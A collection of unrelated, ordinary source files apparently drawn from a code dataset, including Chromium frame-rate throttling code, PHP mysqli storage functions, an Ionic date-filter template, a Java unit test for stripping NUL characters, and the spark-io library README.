  for (const auto& [window, animation] : windows_to_throttle_) {
    windows_as_vector.push_back(window);
  }

  if (frame_interval == kDefaultFrameInterval) {
    VLOG(1) << "Resetting frame rate to default";
    frame_throttling_controller_->EndThrottling();
  } else {
    DVLOG(1) << "Throttling frame rate to " << frame_interval.ToHz() << "hz";
    frame_throttling_controller_->StartThrottling(windows_as_vector,
                                                  frame_interval);
  }
}

void AmbientAnimationFrameRateController::RemoveWindowToThrottle(
    aura::Window* window) {
  window_observations_.RemoveObservation(window);
  auto iter = windows_to_throttle_.find(window);
  DCHECK(iter != windows_to_throttle_.end());
  lottie::Animation* unregistered_animation = iter->second;
  animation_observations_.RemoveObservation(unregistered_animation);
  windows_to_throttle_.erase(iter);
  if (unregistered_animation != tracking_animation_)
    return;

  tracking_animation_ = nullptr;
  TrySetNewTrackingAnimation();
  if (tracking_animation_) {
    DVLOG(1)
        << "Observing new lottie Animation. Resetting frame rate throttling.";
    ThrottleFrameRateForCurrentSection();
  } else {
    DVLOG(1) << "No more lottie animations are active. Restoring default frame "
                "rate and going idle...";
    ThrottleFrameRate(kDefaultFrameInterval);
  }
}

void AmbientAnimationFrameRateController::TrySetNewTrackingAnimation() {
  if (tracking_animation_) {
    DVLOG(4) << "Tracking animation already set.";
    return;
  }

  if (windows_to_throttle_.empty()) {
    DVLOG(4) << "No lottie animations to track. Going idle.";
    return;
  }

  tracking_animation_ = windows_to_throttle_.begin()->second;
  schedule_ = BuildSchedule(tracking_animation_.get());
  // Set |current_section_| to be |schedule_.end()| temporarily so that
  // FindCurrentSection() knows to start searching the new schedule from
  // scratch.
  current_section_ = schedule_.end();
  current_section_ = FindCurrentSection();
}

}  // namespace ash


text:
@import UIKit;
#import "CZAppDelegate.h"

int main(int argc, char * argv[])
{
    @autoreleasepool {
        return UIApplicationMain(argc, argv, nil, NSStringFromClass([CZAppDelegate class]));
    }
}


text:
<?php
$storageDelete = function() {
  $query = "DELETE FROM storage;";

  $connection = getConnection();
  $statement = mysqli_prepare($connection, $query);
  mysqli_stmt_execute($statement);

  mysqli_stmt_close($statement);
  mysqli_close($connection);
};

$storageList = function() {
  $storage = [];
  $query = "SELECT storage.no, item.id, item.name
            FROM storage
            INNER JOIN item ON storage.item=item.id;";

  $connection = getConnection();
  $statement = mysqli_prepare($connection, $query);

  mysqli_stmt_execute($statement);
  mysqli_stmt_bind_result($statement, $no, $id, $name);

  while (mysqli_stmt_fetch($statement)) {
    if (!isset($storage[$no])) {
      $storage[$no] = [];
    }

    array_push($storage[$no], [
      'id' => $id,
      'name' => $name
    ]);
  }

  mysqli_stmt_close($statement);
  mysqli_close($connection);
  return $storage;
};
?>


text:
<ion-modal-view class="history-filter">

        <button class="button icon ion-ios-arrow-left button-clear margin-right-10px" ng-click="closeDialog()"></button>

选择检索时间

        <button class="button button-clear" ng-click="onSelectComplete()">确定</button>

    <ion-content class="has-header" ng-init="initData()">

检索时间

                开始时间
                <input type="date" ng-model="filterInfo.startTime" />

                结束时间
                <input type="date" ng-model="filterInfo.endTime" />

快捷设置

                当月
                近两个月
                近三个月

我司人员({{filterInfo.staffs.length || 0}})

                    <button type="button" class="button button-clear button-balanced ion-android-add-circle" ng-click="showTeamStaffs()"></button>
                    <button type="button" class="button button-clear button-assertive ion-android-remove-circle" ng-click="vm.staffEdit = !vm.staffEdit"></button>

                    <button type="button" class="button button-full button-calm" ng-click="showTeamStaffs()">选择我司人员</button>

                                    {{staff.nickname}}

    </ion-content>
</ion-modal-view>


text: A social mobile application based on location photograph sharing.


text:
import React from 'react'
import ComponentExample from 'docs/app/Components/ComponentDoc/ComponentExample'
import ExampleSection from 'docs/app/Components/ComponentDoc/ExampleSection'

const ButtonVariationsExamples = () => (
  <ExampleSection title='Variations'>
    <ComponentExample
      title='Social'
      description='A button can be formatted to link to a social website'
      examplePath='elements/Button/Variations/ButtonSocialExample'
    />
    <ComponentExample
      title='Size'
      description='Buttons can have assorted sizes'
      examplePath='elements/Button/Variations/ButtonSizeExample'
    />
    <ComponentExample
      title='Floated'
      description='A button can be aligned to the left or right of its container'
      examplePath='elements/Button/Variations/ButtonFloatedExample'
    />
    <ComponentExample
      title='Colored'
      description='A button can have different containers'
      examplePath='elements/Button/Variations/ButtonColoredExample'
    />
    <ComponentExample
      title='Compact'
      description='Buttons can have reduced padding'
      examplePath='elements/Button/Variations/ButtonCompactExample'
    />
    <ComponentExample
      title='Toggle'
      description='A button can be formatted to toggle when active'
      examplePath='elements/Button/Variations/ButtonToggleExample'
    />
    <ComponentExample
      title='Positive'
      description='A button can hint towards a positive consequence'
      examplePath='elements/Button/Variations/ButtonPositiveExample'
    />
    <ComponentExample
      title='Negative'
      description='A button can hint towards a negative consequence'
      examplePath='elements/Button/Variations/ButtonNegativeExample'
    />
    <ComponentExample
      title='Fluid'
      description='A button can take the width of its container'
      examplePath='elements/Button/Variations/ButtonFluidExample'
    />
    <ComponentExample
      title='Circular'
      description='A button can be circular'
      examplePath='elements/Button/Variations/ButtonCircularExample'
    />
    <ComponentExample
      examplePath='elements/Button/Variations/ButtonCircularSocialExample'
    />
    <ComponentExample
      title='Vertically Attached'
      description='A button can be attached to the top or bottom of other content'
      examplePath='elements/Button/Variations/ButtonVerticallyAttachedExample'
    />
    <ComponentExample
      examplePath='elements/Button/Variations/ButtonVerticallyAttachedGroupExample'
    />
    <ComponentExample
      title='Horizontally Attached'
      description='A button can be attached to the left or right of other content'
      examplePath='elements/Button/Variations/ButtonHorizontallyAttachedExample'
    />
  </ExampleSection>
)

export default ButtonVariationsExamples


text:
angular.module('projects-controller', [])

.controller('projectsController', function($scope, homeService){
  $scope.name;
  $scope.aboutMe;
});


text:
package edu.mayo.mprc.swift;

import org.testng.Assert;
import org.testng.annotations.Test;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.StringReader;

@Test(sequential = true)
public final class ConversionTest {
	private static final char nulChar = (char) 0;
	private static final String NUL_STRING = "test:a" + nulChar + 'b' + nulChar + 'c' + nulChar + 'd' + nulChar + nulChar + '\r' + '\n' + nulChar + '1' + '2' + '3';

	@Test(enabled = true, groups = {"fast", "unit"})
	public void testNullRemoval() {
		final String noNulls = NUL_STRING.replaceAll("\\x00", "");
		Assert.assertEquals(noNulls, "test:abcd" + '\r' + '\n' + "123", "The nulls were not removed properly");
	}

	@Test(enabled = true, groups = {"fast", "unit"})
	public void testReader() throws IOException {
		final StringReader stringReader = new StringReader(NUL_STRING);
		final BufferedReader reader = new BufferedReader(stringReader);
		final String line1 = reader.readLine().replaceAll("\\x00", "");
		Assert.assertEquals(line1, "test:abcd", "First line read through reader does not match");
		final String line2 = reader.readLine().replaceAll("\\x00", "");
		Assert.assertEquals(line2, "123", "Second line read through reader does not match");
	}

	@Test(enabled = true, groups = {"fast", "unit"})
	public void testReplaceBackslashes() {
		Assert.assertEquals("/a/b/c/d".replaceAll("\\/", "\\\\\\\\"), "\\\\a\\\\b\\\\c\\\\d", "/ --> \\\\ conversion failed");
	}
}


text:
[![Build Status](https://travis-ci.org/rwaldron/spark-io.png?branch=master)](https://travis-ci.org/rwaldron/spark-io)

Spark-io is a Firmata-compatibility IO class for writing node programs that interact with [Particle devices](http://docs.particle.io/) (formerly Spark). Spark-io was built at [Bocoup](http://bocoup.com/)

### Getting Started

In order to use the spark-io library, you will need to load the special
[voodoospark](https://github.com/voodootikigod/voodoospark) firmware onto your
device. We recommend you review [VoodooSpark's Getting Started](https://github.com/voodootikigod/voodoospark#getting-started) before continuing.

We also recommend storing your Spark token and device ID in a dot file so they can be accessed as properties of `process.env`. Create a file in your home directory called `.sparkrc` that contains:

```sh
export SPARK_TOKEN="your spark token"
export SPARK_DEVICE_ID="your device id"
```

Then add the following to your dot-rc file of choice:

```sh
source ~/.sparkrc
```

Ensure your host computer (where you're running your Node.js application) and the Spark are on the same local network.

### Blink an Led

The "Hello World" of microcontroller programming:

```js
var Spark = require("spark-io");
var board = new Spark({
  token: process.env.SPARK_TOKEN,
  deviceId: process.env.SPARK_DEVICE_ID
});

board.on("ready", function() {
  console.log("CONNECTED");
  this.pinMode("D7", this.MODES.OUTPUT);

  var byte = 0;

  // This will "blink" the on board led
  setInterval(function() {
    this.digitalWrite("D7", (byte ^= 1));
  }.bind(this), 500);
});
```

### Johnny-Five IO Plugin

Spark-IO can be used as an [IO Plugin](https://github.com/rwaldron/johnny-five/wiki/IO-Plugins) for [Johnny-Five](https://github.com/rwaldron/johnny-five):

```js
var five = require("johnny-five");
var Spark = require("spark-io");
var board = new five.Board({
  io: new Spark({
    token: process.env.SPARK_TOKEN,
    deviceId: process.env.SPARK_DEVICE_ID
  })
});

board.on("ready", function() {
  var led = new five.Led("D7");
  led.blink();
});
```

### API

**MODES**

> The `MODES` property is available as a Spark instance property:

```js
var board = new Spark(...);
board.MODES;
```
- INPUT: 0
- OUTPUT: 1
- ANALOG: 2
- PWM: 3
- SERVO: 4

**pinMode(pin, MODE)**

> Set a pin's mode to any one of the MODES. PWM is supported on A0, A1, A4, A5, A6, A7, D0 and D1.

Example:
```js
var board = new Spark(...);

board.on("ready", function() {

  // Set digital pin 7 to OUTPUT:
  this.pinMode("D7", this.MODES.OUTPUT);

  // or just use the integer:
  this.pinMode("D7", 1);

});
```

**digitalWrite(pin, value)**

> Sets the pin to `1` or `0`, which either connects it to 3.3V (the maximum voltage of the system) or to GND (ground).

Example:
```js
var board = new Spark(...);

board.on("ready", function() {

  // This will turn ON the on-board LED
  this.digitalWrite("D7", 1);

  // OR...

  // This will turn OFF the on-board LED
  this.digitalWrite("D7", 0);

});
```

**analogWrite(pin, value)**

> Sets the pin to an 8-bit value between 0 and 255, where 0 is the same as LOW and 255 is the same as HIGH. This is sort of like sending a voltage between 0 and 3.3V, but since this is a digital system, it uses a mechanism called Pulse Width Modulation, or PWM. You could use analogWrite to dim an LED, as an example. PWM is available on D0, D1, A0, A1, A4, A5, A6 and A7.

Example:
```js
var board = new Spark(...);

board.on("ready", function() {

  // Set an LED to full brightness
  this.analogWrite("A7", 255);

  // OR...

  // Set an LED to half brightness
  this.analogWrite("A7", 128);

});
```

**servoWrite(pin, value)**

> Sets the pin to a value between 0 and 180, where the value represents degrees of the servo horn. The value is converted to a PWM signal. PWM is available on D0, D1, A0, A1, A4, A5, A6 and A7.

Example:
```js
var board = new Spark(...);

board.on("ready", function() {

  // Move a servo to 90 degrees
  this.servoWrite("D0", 90);

});
```

**digitalRead(pin, handler)** Setup a continuous read handler for specific digital pin (D0-D7).

> This will read the digital value of a pin, which can be read as either HIGH or LOW. If you were to connect the pin to a 3.3V source, it would read HIGH (1); if you connect it to GND, it would read LOW (0).

Example:
```js
var board = new Spark(...);

board.on("ready", function() {

  // Log all the readings for D1
  this.digitalRead("D1", function(data) {
    console.log(data);
  });

});
```

**analogRead(pin, handler)** Setup a continuous read handler for specific analog pin (A0-A7). Use with all analog sensors

Example:
```js
var board = new Spark(...);

board.on("ready", function() {

  // Log all the readings for A1
  this.analogRead("A1", function(data) {
    console.log(data);
  });

});
```

## License
See LICENSE file.


text:
/* disable-eslint: no-inner-declarations */

// Only supported things are listed-up.
export namespace SVGNode {
  export const enum Type {
    Root = 1,
    Path,
  }

  export namespace Root {
    export namespace Attribute {
      export const Width = "width";
      export const Height = "height";
      export const ViewBox = "viewBox";
    }
  }

  export namespace Path {
    export namespace Attribute {
      export const PathData = "d";
      export const StrokeColor = "stroke";
      export const StrokeWidth = "stroke-width";
      export const StrokeLineCap = "stroke-linecap";
      export const StrokeLineJoin = "stroke-linejoin";
      export const FillColor = "style";
      export const FillColorOption = "fill";
    }
  }

  export namespace G {
    export namespace Attribute {
      export const Transform = "transform";
    }
  }
}